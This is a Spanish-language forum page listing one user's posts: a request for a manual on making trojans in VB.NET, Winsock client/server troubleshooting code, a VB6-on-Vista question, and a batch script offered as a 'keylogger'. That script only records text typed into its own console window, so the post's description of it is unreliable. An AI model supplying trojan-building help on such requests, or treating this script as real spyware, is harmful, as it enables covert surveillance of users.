Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - SecuSys

#1
Hola, hay algún manual para crear troyanos, en vb.net???

gracias y saludos.

;D ;D ;D ;D
#2
hola tengo un problema.

He creado dos forms uno es un cliente y el otro es un servidor.

he añadido 1 winsock a cada form, configurandolo s correctamente.

En el form Cliente he puesto dos botones y un textbox.

El primer botón, lo que hace es conectarse con el servidor, y el segundo botón, envía el texto, del textbox1.

Al depurar los forms, en el form "Cliente", cuando le doy ha enviar el texto, me apareze esto:

"No se controló  COMException"

Y me dice que deshabilite eso. ¿Cómo puedo hacerlo?Ó ¿Cómo puedo solucionarlo,para que no me tire eese error?

mil gracias y saludos de antemano..
..

aquí os dejo el codigo.

Cliente:

Código:

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Winsock1.Listen()
    End Sub

     Private Sub Winsock1_ConnectionRequest(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles Winsock1.ConnectionRequest
        Winsock1.Close()
        Winsock1.Accept(e.requestID)
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Winsock1.SendData(TextBox1.Text)
    End Sub
End Class


Servidor:

Código:

Public Class Form1

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If Winsock1.CtlState = 0 Then
            Winsock1.Connect()
        ElseIf Winsock1.CtlState = 7 Then
        Else
            Winsock1.Close()
        End If
    End Sub

    Private Sub Winsock1_DataArrival(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent) Handles Winsock1.DataArrival
        Dim datos As String = ""
        Winsock1.GetData(datos)
        MsgBox(datos)
    End Sub
End Class

saludos..

#3
hola, tengo una pregunta..

Vb6 es compatible con Win..  Vista??

Cúal es mejor, digo cual funciona mejor en vista??
#4
Scripting / Keylogger en batch..
18 Diciembre 2008, 17:49 PM
hola, ¿qué tal?....

Muchos decían, qué no se puede crear un Keylogger en batch...

Pues aquí os dejo uno qué tenía por ahí que no chutaba, pero hoy lo he mirao y lo he arregalo,  y aora va muy bien.....

Funcionamiento: abrir el keylogger, y empiezan ha escribir.
Se creará un texto, llamado :  Teclas.txt en c:\      .( eso luego lo podeis cambiar vosotros y añadir más cosas....)

Pegas: Lo malo qué tiene este keylogger esqué hay que habrirlo como admin, y tambien es qué depues de escribir hay que darle al enter para que se guarde en el texto...
(yo lo prové en W. Vista, no sé si lo de habrirlo como admin en XP hará falta o no.. pruebenlo..)....

Bueno pero algo es algo.. ..::
Pues aqui les dejo el codigo fuente para qué lo disfruten bien. jeje,, ..
..

Código:

@echo off
cls
echo    !virusin!
:1
echo .>>c:\Teclas.txt
echo -------------------
set /p puls=
echo %puls%>>c:\Teclas.txt
goto:1


Disfrutarlo..

Saludos..22
#5
Hola, qué tal?

Pues tengo un problema con el VB6, el problema es cuando utilizo winsocks en algún programa...

Cúando ejecuto el programa qué estoy creadno en vb6 en modo purbea osea para ver como quedará no me tira ningún error, pero si guardo el proyecto y lo intento abrir me sale un error.

Aquí os dejo lo que pone en el log.

Línea 18: la clase MSWinsockLib.Winsock del control Winsock1 no era una clase de control cargada.

Y no sé a que s edebe ese error.¿Cómo puedo solucionarlo?

Muchas gracias por adelantado.

Y saludos.
.